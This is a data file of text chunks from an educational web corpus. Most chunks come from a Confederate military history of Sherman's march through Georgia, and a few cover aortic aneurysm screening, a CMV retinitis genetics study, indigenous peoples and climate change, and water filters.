assaulted with so much", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3864756886876801, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.621813"} {"text": "like so much chaff. corse was only able under cover of a heavy fire from tourtellotte to send an aide over for reinforcements. before they could arrive both sears and young, according to corse ' s report, assaulted with so much vigor and in such force as to break rowett ' s line, and \" had not the thirty - ninth iowa fought with the desperation it did, i never would have been able to bring a man back into the redoubt. \" after a desperate struggle, rowett brought his force, the thirty - ninth iowa, seventh and ninety - third illinois into the redoubts, where they were reinforced by the twelfth and fiftieth illinois from the east side of the cut. the confederates gained two of the redoubts held by rowett, and then surrounded this last work with a storm of fire. tourtellotte, on the east side, though badly wounded, managed to hold his main works, while sears fought close up to the strong position. about 10 a. m. sherman had reached kenesaw mountain, and seeing the smoke and hearing the artillery, signaled corse to hold the fort, and ordered j. d. cox ' s corps westward to threaten french ' s connection with the main confederate army. corse himself was severely wounded, but his men fought on under the assurance of relief, until french, early in the afternoon receiving intelligence of the threatening movement by general cox, despaired of reducing the federal garrison before night, and withdrew to rescue his command ; but before leaving the place, he captured the blockhouse at allatoona creek, and burned the bridge. general french reported a capture of 205 prisoners and two flags, and gave his loss at 122 killed, 443 wounded, and 233 missing, total 798. general young was wounded and captured, and nearly 70 other gallant officers were either wounded or killed. these casualties were suffered by the confederate assaulting force of only a little over 1, 000. corse reported his own loss at 142 killed, 352 wounded, and 212 missing, total 706. hood now moved rapidly toward rome, and sherman followed through allatoona pass to kingston, and thence to rome, but hood crossed below that city and marched into the valley of the oostenaula, escaping any collision except between cavalry. the confederate advance attacked resaca and demanded its surrender, but the federal garrison was reinforced in time for safety. sherman also followed to resaca, but before his arrival on the 14th, hood had", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40609592905624015, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.622854"} {"text": "kilpatrick. under sherman ' s orders capt. o. m. poe \" thoroughly destroyed atlanta, save its mere dwelling - houses and churches. \" the destruction was by fire purposely applied to buildings, and permitted to spread, as was expected, from house to house until the defenseless city was almost entirely reduced to ashes. no efforts were made to prevent the spread of the conflagration, and scarcely any structure was designedly spared. only about 450 buildings escaped this ruthless burning, among them many churches, which in those days generally stood apart from other buildings. the thoroughness of the destruction can be realized, when we consider that by the census of 1860 atlanta had a population of 10, 000, which in 1864 had increased to 14, 000. more than 4, 000 houses, including dwellings, shops, stores, mills and depots were burned, about eleven - twelfths of the city. capt. daniel oakey, of the second massachusetts volunteers, says : \" sixty thousand of us witnessed the destruction of atlanta, while our post band and that of the thirty - third massachusetts played martial airs and operatic selections. \" sherman himself noted the rising columns of smoke as he rode away from the city. considering that he had been in possession of the city since the 3d of september, he had had ample time to utterly destroy everything in it that could be of advantage to an enemy, without the wanton and inexcusable method to which he resorted. it was no more necessary from a military point of view to destroy mercantile establishments than private dwellings or churches. the destruction of atlanta can never be excused. the name of the federal commander will always be associated with this barbarous act. on november 15th the federal right wing and cavalry started toward jonesboro and mcdonough to make a feint at macon, but crossed the ocmulgee river near jackson, and reached gordon in seven days. slocum with one corps moved out eastward via decatur, with orders to burn the oconee bridge, east of madison, after which to turn south and reach milledgeville in seven days. sherman himself left atlanta on the 16th with jeff c. davis ' corps, and moved via lithonia and covington, directly on milledgeville. his object was to interpose his army between macon and augusta, and thus divide the confederate forces. gen. g. w. smith, in command of the first division, georgia reserves, had at lovejoy ' s station a force numbering about 2, 800 effective infantry", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.39048860654940276, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.624982"} {"text": "interpose his army between macon and augusta, and thus divide the confederate forces. gen. g. w. smith, in command of the first division, georgia reserves, had at lovejoy ' s station a force numbering about 2, 800 effective infantry, 200 or 300 cavalry, and three batteries. brigadier - general iverson with two brigades of cavalry covered his front. on the 12th, major - general wheeler arrived in person and his cavalry division soon followed from alabama. after the cavalry had skirmished with howard ' s advance, smith fell back to griffin, and there learning of the federal movements eastward, moved rapidly to macon. wheeler notified generals bragg and hardee, general beauregard at tuscumbia, gen. howell cobb, general taylor at selma, general hood and others, of the enemy ' s movements and evident intentions, and general cobb also advised those high in command of the danger that was threatening. general cobb, at macon, had but a small force, and reinforcements were urgently called for. but there were few that could be spared. beauregard could only send gen. richard taylor to take command, and himself follow, but he had no forces to take with him. the war department extended hardee ' s command to the chattahoochee, but he could only spare the fifth georgia without stripping the coast. president davis instructed general cobb to get out every man who could render service, and promised that colonel rains, at augusta, would furnish torpedoes to plant in the roads. stirring appeals were made to the people of georgia by senator hill and the georgia congressmen to fly to arms, remove all subsistence from the course of sherman ' s army, and destroy what could not be carried away ; burn all bridges, block up roads, and assail the invader night and day. meanwhile sherman marched on, creating a charred avenue over 40 miles wide through the unprotected state, destroying the railroads, seizing all provisions, pillaging, plundering and burning. there was no force available to obstruct his onward course. he had simply to accomplish the military feat of \" marching through georgia. \" the forces of generals wheeler, smith and cobb being concentrated at macon on the 19th, general hardee took command, and sent wheeler up to clinton to reconnoiter. six of his men dashed into clinton and captured the servant of general osterhaus, corps commander, with. in twenty feet of headquarters. charging and counter - charging followed, ending in the repulse of a federal", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4114344223612981, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.625958"} {"text": "to reconnoiter. six of his men dashed into clinton and captured the servant of general osterhaus, corps commander, with. in twenty feet of headquarters. charging and counter - charging followed, ending in the repulse of a federal cavalry command by wheeler ' s escort. on the 20th there was active skirmishing by wheeler. kilpatrick advanced as far as the redoubts about macon, held by the infantry and dismounted cavalry, and the head of his ' column entered the works but were repulsed. on the 22d, howard having approached gordon, sent wood ; s division and kilpatrick ' s cavalry toward macon for another demonstration. this force was met by wheeler ' s men, who charged early in the morning and captured one of the federal picket posts, causing the loss of about 60 to the enemy. a considerable cavalry fight followed, and in the afternoon walcutt ' s federal brigade behind barricades was attacked by the confederate infantry and a battery. with great vigor. walcutt was wounded, but managed to hold his ground with the assistance of cavalry. on another part of the line of invasion the federal twentieth corps, opposed only by desultory skirmishing of small confederate bands, had made a path of destruction through madison and eatonton. geary ' s division destroyed the fine railroad bridge over the oconee, and the mill and ferryboats near buckhead. on the 19th he also destroyed about 500 bales of cotton and 50, 000 bushels of corn, mostly on the plantation of col. lee jordan. this corps entered milledgeville on the 20th, and davis ' corps, accompanied by sherman, arrived next day. the state legislature hastily adjourned, and under the direction of gen. ira r. foster, quartermaster - general of the state, great efforts were made to remove the state property and archives, but on account of the scarcity of wagons and the demoralized condition of the people, adequate help could not be obtained. as the penitentiary had been used for the manufacture of arms, and was expected to be destroyed, governor brown released all the convicts and organized them into a regularly mus - tered - in and uniformed battalion under captain roberts, which subsequently did good service in removing property and in battle. upon the arrival of the federals, two regiments under colonel hawley, of wisconsin, occupied the capital city, and according to his own report, burned the railroad depot, two arsenals, a powder magazine and other public buildings and shops", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40264241272931284, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.626939"} {"text": "battle. upon the arrival of the federals, two regiments under colonel hawley, of wisconsin, occupied the capital city, and according to his own report, burned the railroad depot, two arsenals, a powder magazine and other public buildings and shops, and destroyed large quantities of arms, ammunition and salt. a general pillage followed these acts of war. then the two federal corps pushed on by way of hebron, sandersville, tennille and louisville, and howard ' s wing crossed the oconee at bali ' s ferry and advanced in two columns by the 1st of december to the neighborhood of sebastopol. howard at this date reported that he had destroyed the ocmulgee cotton mills, and had supplied his army from the country, which he found full of provisions and forage. \" i regret to say that quite a number of private dwellings which the inhabitants have left have been destroyed by fire, but without official sanction ; also many instances of the most inexcusable and wanton acts, such as the breaking open of trunks, taking of silver plate, etc. i have taken measures to prevent it, and i believe they will be effectual. the inhabitants are generally terrified and believe us a thousand times worse than we are. \" the wanton destruction went on, however, with rarely such efforts to restrain the soldiery from depredations. as howard advanced, gen. h. c. wayne, with the cadets of the georgia military institute and part of the reserves, fell back across the oconee. maj. a. l. hart - ridge in a gallant fight defended the oconee railroad bridge. the federals by the feint at macon had managed to hold general hardee there with some forces in their rear, and the similar feint toward augusta detained gen. b. d. fry, with about 4, 000 troops. on the 23d, austin, with the cadets, successfully held the railroad bridge against the enemy, and hartridge, at the ferry, drove back across the river a federal detachment which had forced its way over. this permitted the removal of the stores from tennille. gen. a. r. wright took command in this quarter under authority of a telegram from president davis, all communication between the east and the west sides of the state being broken. augusta was reinforced by troops under generals chestnut and gartrell from south carolina. beauregard, arriving at macon, where lieutenant - general taylor also was, reported that sherman was doubtless", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3979882765437683, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.628049"} {"text": "the east and the west sides of the state being broken. augusta was reinforced by troops under generals chestnut and gartrell from south carolina. beauregard, arriving at macon, where lieutenant - general taylor also was, reported that sherman was doubtless en route to the sea, thence to reinforce grant, and he instructed hood that he should promptly crush thomas in middle tennessee, to relieve lee. on the 24th, wayne reported to general mclaws that the federals were shelling him at oconee bridge, but he kept up a gallant fight till night, holding one end of the bridge while the enemy set fire to the other. finally parties crossed the river to his right and left, and he was compelled to withdraw his few hundred men. wheeler crossed the river to the south on the same day and moved to the support of the confederates. on the 25th general bragg reached augusta and took command. wheeler, pushing on to sandersville, reinforced the local troops which were skirmishing with the federal cavalry advance, and drove the latter back with some loss. on the same evening, learning that kilpatrick had started out toward augusta, he left iverson before the federal infantry, and overtaking kilpatrick at midnight, drove him from the main augusta road. pushing on rapidly he struck the enemy several times during the early morning, capturing prisoners. the way was lighted with the barns and houses, cotton gins, and corn - cribs fired by the federals. kilpatrick was forced to turn off by way of waynesboro, where he destroyed the bridge and set fire to the town, but wheeler arrived in time to extinguish the flames. beyond waynesboro, kilpatrick hastily barricaded a line which wheeler assailed with great spirit, humes and anderson attacking on the flank. the enemy was routed, losing a large number in killed, wounded and prisoners, general kilpatrick himself escaping with the loss of his hat. in a swamp the fight was renewed, and the enemy again stampeded with the loss of about 200. retreating over buckhead creek, kilpatrick fired the bridge but could not hold his ground long enough to see it burned, and wheeler repaired the structure and crossed in pursuit. his worn - out troopers had now been riding and fighting a night and a day, but before night again arrived he attacked the federal line behind their barricades and again sent them flying. \" during the night, \" wheeler reported, \" kilpatrick sought the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.40225937307027254, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.631343"} {"text": "troopers had now been riding and fighting a night and a day, but before night again arrived he attacked the federal line behind their barricades and again sent them flying. \" during the night, \" wheeler reported, \" kilpatrick sought the protection of his infantry, which he did not venture to forsake again during the campaign. \" the third period of sherman ' s advance, in the first ten days of december, was toward savannah in five columns : the fourteenth corps immediately south of the savannah river, the seventeenth corps on the north side of the ogeechee, the twentieth midway between, and the fifteenth in two columns south of the ogeechee, the southerly column passing through statesboro. on december 2d sherman sent kilpatrick out toward waynesboro again, supported by baird ' s division of infantry. wheeler checked the advance at rocky creek, but was flanked from this position. next day he attacked the enemy in force, and renewed the attack at midnight. on the 3d the federals advanced, and wheeler threw up barricades and fought desperately, but was pushed back to waynesboro. here he was so warmly pressed that it was with difficulty he succeeded in withdrawing from his position, but a gallant charge of texans and tennesseeans enabled him to retreat in safety. the remainder of his operations mainly consisted in persistent attacks upon the federal rear. after approaching savannah closely, he left iverson to watch the enemy on the georgia side, while he crossed into south carolina and held the line of communication from huger ' s landing to hardeeville, protecting the new river bridge, east of the charleston railroad. wheeler reported that in this campaign his force never exceeded 3, 500 men, and he seldom had more than 2, 000 in his immediate command. \" the enemy had been falsely informed by their officers that we took no prisoners, which caused him to fight with desperation and to run very dangerous gauntlets to escape capture, which frequently accounts for the large number of killed. in every rout of their cavalry, and in the many fights that ensued, they continued to flee, refusing to surrender, notwithstanding the demands of our men in close pursuit. consequently no alternative was left but to shoot or saber them to prevent escape. \" in approaching savannah, sherman ' s left wing struck the charleston railroad near the bridge over the savannah river, and established batteries. the right wing arriving promptly, the confederate outer works, beginning about 4 miles above the city on the savannah and extending southwest to the little ogeechee, were closely invested", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42185153328631675, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.632805"} {"text": "struck the charleston railroad near the bridge over the savannah river, and established batteries. the right wing arriving promptly, the confederate outer works, beginning about 4 miles above the city on the savannah and extending southwest to the little ogeechee, were closely invested. gen. g. w. smith, by presenting a bold front at griffin, forsyth and macon, successively caused howard to pass those places unmolested. at griswoldville the state troops, contrary to smith ' s orders, made an attack upon an intrenched federal division, and were repulsed with a loss of 51 killed and 472 wounded. yet they remained close to the federal line until dark. then they were withdrawn to macon and sent on the cars by way of albany and thomasville to savannah. though the troops of general smith had not enlisted for service outside the state, they marched in the latter part of november to grahamville, s. c., to defend the railroad to charleston from the operations of general foster, who advanced from broad river. there they fought gallantly november 30th, in the battle of honey hill, beating back the repeated federal attacks. general smith in his report particularly commended the service of colonel willis, commanding first brigade of georgia militia ; major cook, commanding the athens and augusta battalions of reserves, and lieutenant - colonel edwards, commanding the forty - seventh georgia regiment. after this brilliant affair the georgia militia returned to the state. a notable feature of this battle was the presence in the ranks of the confederates of some boy volunteers, even under the age subject to conscription. some of these boys were not tall enough to shoot over the parapet. but they curiously and enter - prisingly so arranged that one would get upon his hands and knees, making a bench on which another would stand, deliver his fire and then change places with his comrade, so that he in his turn might get a shot at the \" yankees. \" vigorous fighting continued in the vicinity of coosaw - hatchie, threatening hardee ' s only avenue of escape, and a fleet of sixty vessels was reported at hilton head. these carried supplies for sherman ' s men, who were subsisting mainly on rice and finding it inadequate. hardee saw that retreat was inevitable, and entertained reasonable fears that delay would render escape impossible. on the 8th general beauregard advised him, as there was no army of relief to be expected, whenever it became necessary to choose between the safety of his army and that of the city of savannah, to sacrifice the latter. one of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4038210194380285, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.634037"} {"text": "impossible. on the 8th general beauregard advised him, as there was no army of relief to be expected, whenever it became necessary to choose between the safety of his army and that of the city of savannah, to sacrifice the latter. one of the precautions taken by hardee to prevent sherman from cutting off his retreat into south carolina was the sending of flag - officer w. w. hunter up the savannah river to destroy the charleston and savannah railroad bridge. taking his flagship sampson, the gunboat macon and a small transport steamer laden with supplies, hunter successfully accomplished his mission and then returned to savannah. as he approached the city, however, he found the federal batteries in position, and after a gallant attempt to pass, in which the transport was disabled and captured, he was compelled to take his two small wooden gunboats up the river. taking advantage of unusually high water, he was enabled to pass the obstructions and reach augusta, where he and the most of his command were finally surrendered under general johnston ' s capitulation. to open up communications with the federal fleet, howard marched farther south and rebuilt king ' s bridge, while kilpatrick reconnoitered fort mcallister, upon which fire was opened by degress ' battery on the 13th. hazen ' s division, which, with j. e. smith ' s division, had marched by statesboro where a number of their foragers had been killed and captured by confederate cavalry, and later had forced a passage across the canouchee opposed by confederate infantry and artillery, was sent against fort mcallister, the vicinity of which was reached about 11 a. m. on december 13th. they were delayed by the picket line and torpedoes in the road, and it was not until 4 : 45 that the assaulting column of nine regiments closed up around the fort, which was held by maj. george w. anderson and 250 men. general hazen reported that the fort was carried at precisely 5 p. m. \" at close quarters the fighting became desperate and deadly. just outside the works a line of torpedoes had been placed, many of which were exploded by the tread of the troops, blowing many men to atoms, but the line moved on without checking, over, under and through abatis, ditches, palisading and parapet, fighting the garrison through the fort to their bomb - proofs, from which they still fought, and only succumbed as each man was individually overpowered. \" the report of general hazen is as high a", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.439144466663967, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.635009"} {"text": "ditches, palisading and parapet, fighting the garrison through the fort to their bomb - proofs, from which they still fought, and only succumbed as each man was individually overpowered. \" the report of general hazen is as high a compliment as the brave confederate garrison of fort mcallister could desire. the federal loss in the assault was 24 killed and 110 wounded. sherman, who was watching the assault from the rice mill, as soon as he saw the united states flag hoisted, went down the river in a boat, and observing a federal vessel farther down the ogeechee, went on and for the first time communicated with dahlgren ' s fleet. next day he met dahlgren at warsaw sound, and arranged that he should be furnished with siege guns for the reduction of the lines before savannah. on the 17th he sent in from slocum ' s headquarters on the augusta road a demand for surrender, and on the following day received a refusal from general hardee, who had about 15, 000 troops, besides general smith ' s 2, 000 georgia state troops occupying the intrenched line west of the city. sherman, having next arranged for the assault by slocum, went to port royal by boat to urge the movement against the charleston & savannah railroad. on the 21st he was informed, to his great disappointment, that hardee had escaped into south carolina. a pontoon bridge, about half a mile in length, having been constructed from hutchison ' s island across the savannah, hardee moved his army out in safety on the 21st, taking with him his artillery and baggage wagons, and made a secure retreat, one of the most successful in the course of the war. general smith ' s command brought up the rear and was then transferred to augusta. commodore tattnall had been prevented from making a dash seaward with his fleet, the main strength of which was the armored ship savannah, by the placing of seven monitors in the savannah river and other channels of escape. the remainder of admiral dahlgren ' s fleet had bombarded battery beaulieu on vernon river and other works on the ogeechee and ossabaw. before the evacuation, commodore tattnall destroyed the ships and naval property, blowing up the water battery georgia, burning and sinking the milledgeville and waterwitch, and destroying the navy yard and a large quantity of ship timber. an unfinished torpedo boat, the small steamers beauregard and general lee, 150 pieces of ordnance and 32, 000 bales of cotton", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.39899617947494, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.636093"} {"text": "the milledgeville and waterwitch, and destroying the navy yard and a large quantity of ship timber. an unfinished torpedo boat, the small steamers beauregard and general lee, 150 pieces of ordnance and 32, 000 bales of cotton fell into the hands of the federals. the savannah was still in the river when the united states flag was hoisted over fort jackson, and captain brent, its commander, at once opened fire, driving the troops from the guns of the fort, and defiantly flying the stars and bars until night of the 21st. brent then ran the savannah over to the south carolina shore, disembarked, that his crew might join hardee ' s column, and at 10 o ' clock the ironclad was blown up. general slocum had discovered the evacuation at 3 a. m. on the 21st, and his command at once occupied the city. in his report of the march to the sea, general sherman declared that he had destroyed the railroads for more than 100 miles, and had consumed the corn and fodder in the region of country 30 miles on either side of a line from atlanta to savannah, as also the sweet potatoes, cattle, hogs, sheep and poultry, and carried away more than 10, 000 horses and mules, as well as a countless number of slaves. \" i estimate the damage done to the state of georgia and its military resources at $ 100, 000, 000 ; at least $ 20, 000, 000 of which has inured to our advantage, and the remainder is simply waste and destruction. \" after admitting that \" this may seem a hard species of warfare, \" he comforted himself with the reflection that it brought the sad realities of war home to those who supported it. thus condoning all the outrages committed by an unrestrained army, he further reported that his men were \" a little loose in foraging, and did some things they ought not to have done. \" howard, evidently ashamed of the manner of the marching through georgia, claims that the \" sherman bummers \" were not with his wing. he reported the capture of about 1, 200 prisoners, 10, 500 cattle, about $ 300, 000 worth of subsistence, 931 horses, 1, 850 mules, about 5, 000, 000 pounds each of corn and fodder, and the destruction of 3, 500 bales of cotton and 191 miles of railroad. slocum ' reported a similar amount of subsistence taken, 119 miles of railroad wrecked, 17, 000", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.38702468245245775, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 15, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.637179"} {"text": "000, 000 pounds each of corn and fodder, and the destruction of 3, 500 bales of cotton and 191 miles of railroad. slocum ' reported a similar amount of subsistence taken, 119 miles of railroad wrecked, 17, 000 bales of cotton destroyed. the limits of this chapter do not permit of an adequate description of the ruin wrought throughout georgia. the imagination, acting upon the basis of the outline here given, cannot exceed the reality. in his message of february 17, 1865, governor brown, after recounting the destruction wrought by sherman, said : in these misfortunes georgia has been taunted by some of the public journals of other states because her people did not drive back and destroy the enemy. those who do us this injustice fail to state the well - known fact that of all the tens of thousands of veteran infantry, including most of the vigor and manhood of the state, which she had furnished for the confederate service, but a single regiment, the georgia regulars, of about 300 effective men, was permitted to be upon her soil during the march of general sherman from her northeast border to the city of savannah, and that gallant regiment was kept upon one of our islands most of the time and not permitted to unite with those who met the enemy. nor were the places of our absent sons filled by troops from other states. one brigade of confederate troops was sent by the president from north carolina, which reached georgia after her capital was in possession of the enemy. for eight months the confederate reserves, reserve militia, detailed men, exempts, and most state officers, civil as well as military, had kept the field almost constantly, participating in every important fight from kenesaw to honey hill. if the sons of georgia under arms in other states had been permitted to meet the foe upon her own soil, without other assistance, general sherman ' s army could never have passed from the mountains to the seaboard. in conclusion, governor brown claimed that georgia during the fall and winter had a larger proportion of her white male population under arms than any other state in the confederacy. source : \" the confederate military history, \" volume 6, chapter xvii you ' ve just read the confederate version, now read the union. this page last updated 02 / 10 / 02 return to confederate states of america page return to civil war chronology page", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46066434231896025, "token_count": 474, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 16, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.638108"} {"text": "prevalence of abdominal aortic aneurysm in patients undergoing coronary angiography abdominal aortic aneurysms ( aaa ) are localized, blood - filled dilations ( balloon - like bulges ) of the aorta. approximately 90 % of abdominal aortic aneurysms occur infrarenally ( 1 ). it is most commonly asymptomatic and can be detected randomly during screening. its prevalence rate in men aged 65 years and more is 5 - 8 % ( 3 ). the risk factors for the occurrence of aaa are male gender, advanced age, history of atherosclerosis, cigarette smoking and 1st degree family history ( 4 ). the prevalence rate is higher in patients with history of atherosclerosis of peripheral blood vessels and coronary arteries ( 5 - 7 ). as the size of an aneurysm increases, there is an increased risk of rupture, which can result in severe hemorrhage and death. the death rate due to rupture in the elderly population is 90 % ( 3, 8 ). elective surgical repair of the abdominal aortic aneurysm is associated with a death rate of 8 % ( 9 ). therefore, the importance of the screening of populations at elevated risk is obvious ( 5 - 7, 10 - 14 ). among imaging techniques, ultrasonographic screening for abdominal aortic aneurysm is technically simple, accurate and devoid of ionizing radiation. ultrasonographic diagnosis of aaa is associated with a major reduction in the incidence of abdominal aortic aneurysm - related mortality ( 15 - 19 ). the sensitivity of ultrasonographic screening for abdominal aortic aneurysm is about 100 % ( 19 ). the most common clinical indications for ultrasonographic screening for abdominal aortic aneurysm are a palpable abdominal mass, hemodynamic impairment of aortic system in lower extremities, pain in the chest, lower back or scrotum, and abdominal bruits. ultrasonography is used to screen for aneurysms when the outer aortic diameter is more than 3 cm ( normal diameter of the aorta is around 2 cm ( 20 ). there is disagreement regarding the follow - up of patients after detection of abdominal aortic aneurysm in diameter of 2. 6 cm - 2. 9 cm ( 22 ). random detection of abdominal aortic aneurysm where the aorti", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44033094474690004, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.640632"} {"text": "the effects of genetic differences among aids patients on cytomegalovirus retinitis this study will evaluate the role of certain gene variants on the onset and course of cytomegalovirus ( cmv ) retinitis - a severe infection affecting the eye - in patients with aids. symptoms include blurry vision, eye pain, photophobia, floaters, eye redness, and impaired vision. left untreated, it can cause blindness. the study is done in collaboration with investigators of the longitudinal studies of the ocular complications of aids ( lsoca ) at the johns hopkins university school of medicine. the purpose of the lsoca study is to learn about how hiv and other infections associated with aids and their treatments affect people ' s eyes and sight. blood samples previously collected from patients participating in the lsoca study will be analyzed for gene variants. these differences will then be correlated with the patients ' clinical data to try to discover the role of gene differences among patients on the following : susceptibility to cmv and related problems ; development and course of cmv ; and response to haart ( highly active antiretroviral treatment ), particularly in cmv onset and pathology. the study will use blood samples and clinical information previously collected from patients during their participation in lsoca. the materials will be identified with a numerical code linking the samples and clinical data. no additional procedures will be performed on patients for this study. | official title : | | discovery of genetic variants contributing to the incidence or course of cmv disease in aids patients | | study start date : | | october 2004 | lsoca is a prospective observational study of ocular complications in hiv - infected aids patients including those treated with highly active anti - retroviral treatment ( haart ). in the absence of haart, there is a 30 % risk of cytomegalovirus ( cmv0 infection associated with aids. of these cmv patients, 75 - 85 % will develop retinitis. test a number of human candidate gene polymorphisms in the lsoca cohort samples to discover genetic influences on the susceptibility to cmv and associated pathologies. inspect the role of known aids restriction genes ( args ) on the infection and pathogenesis of cmv. evaluate the role of the same host gene polymorphisms on the response to haart, particularly in cmv onset and pathology. lymphocytes for dna extraction and relevant clinical data from properly consented aids patients ( maximum estimated at", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5090264700959652, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.643941"} {"text": "cmv. evaluate the role of the same host gene polymorphisms on the response to haart, particularly in cmv onset and pathology. lymphocytes for dna extraction and relevant clinical data from properly consented aids patients ( maximum estimated at n = 2, 000 ) will be provided to the lgd for genotyping and analysis. no available subjects will be excluded. lsoca has collected blood specimens and banked viably frozen lymphocytes from each study participant. samples and clinical data are coded and linked. genes under study include the traditional described args ( o ' brien & nelson, 2004 ) ; the cmv receptor gene, us28 ( pleskoff et al., 1997 ) ; hla class i and ii ; kir gene family and other genes involved in virus immune defenses. single nucleotide variants within coding regions, upstream and downstream regulatory regions, and ironic elements will be tested for genetic equilibrium distortion in patient populations at risk for cmv and displaying cmv pathology. following this study, the samples will be maintained in our repository and curated through our central laboratory database. loss or destruction of these samples will be recorded in our database and cannot impact the study participants in any way. we understand that studies subsequent to the completion of this protocol will require additional ohsr / irb approval prior to commencement. | united states, maryland | | national cancer institute ( nci ), 9000 rockville pike | | bethesda, maryland, united states, 20892 | | principal investigator : | | michael dean, ph. d. | | national cancer institute ( nci ) |", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.49732821170893077, "token_count": 331, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.644541"} {"text": "iucn releases report on indigenous and traditional peoples 04 march 2008 | news story iucn has just produced a report called indigenous and traditional peoples and climate change, to be released on 14 march 2008. using as a reference the map indigenous and traditional peoples of the world and the global 200 ecoregions, published by wwf in 2000, the report helps visualize how the impacts predicted in the reports of the intergovernmental panel on climate change could affect such groups. does climate change have specific implications for indigenous and traditional peoples of the world? this question has been raised lately, but no comprehensive analysis has been done yet to answer it. research has been conducted in some places, notably the arctic, and some policy discussions have also taken place. indigenous peoples \u2019 organizations have been requesting for some time to be involved in the climate change policy debates, with limited results. the next session of the un permanent forum on indigenous issues ( may 2008 ) will be again a venue to address this issue, and proposals have been submitted to host related discussions at iucn \u2019 s fourth world conservation congress. for the report literature was examined on specific regional and ecosystem issues, and illustrative cases were collected. as described in the report, there are at least three particular types of links between climate change and indigenous and traditional cultures : - traditional peoples have developed knowledge about climate variability and extreme natural events, due to their long and deep dependence on and relationship with natural phenomena. - traditional cultures have also developed strategies to adapt to climate variability, particularly in regions where the productivity of ecosystems is highly dependent on specific climatic conditions, such as the arctic or the sahel. nomadic and transhumant pastoralism is one of such adaptations. - due to high dependence on natural ecosystems, the occupation of marginal lands, and a fragile situation in socio - economic and political terms, indigenous and traditional cultures are especially vulnerable to climate change and extreme natural phenomena. this is particularly evident in regions like the arctic, the arid lands of africa, and the islands of oceania. the current rate of loss of traditional languages is already four times higher than biodiversity loss ; with climate change, the loss of languages and cultures is likely to reach dramatic proportions.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4419672220730984, "token_count": 435, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.648733"} {"text": "avalon is the founder of conserve it forward which can be followed on twitter @ conserveitforwa or facebook at www. facebook. com / conserveitforwardwithavalon this summer, our family traveled to washington state so we could learn how to make and use biosand water filters. this training was given by friendly water for the world. this nonprofit organization helps people all around the world to have safe drinking water. the way they help is by teaching people about sanitation, and how to make and use biosand water filters. biosand water filters are a low cost, sustainable way to get safe drinking water. for about $ 50 per filter, a family can have safe drinking for at least 20 years! did you know that many people die from water borne diseases every single day, just because they do not have clean drinking water? some of these illnesses are typhoid, hepatitis, and diarrhea. imagine being so thirsty and the only source of water you have is very contaminated with microbes ( microscopic living things that cause diseases ). you have to drink water to live, but this water may make you very sick, or even die. in some parts of the world, the only water source may also be used for washing clothes, taking baths, and also for animals. people and animals may also use the restroom close to this water and that can contaminate it even more. how do we improve this? one of the ways to have better sanitation would be to put a fence around your garden to keep animals out of your food source. another way is to use a latrine for the restroom, so waste goes in a contained area. washing your hands is a great way to stop microbes from spreading! these are just a few of the ways to have better sanitation. of course, the most important thing we learned about was how to 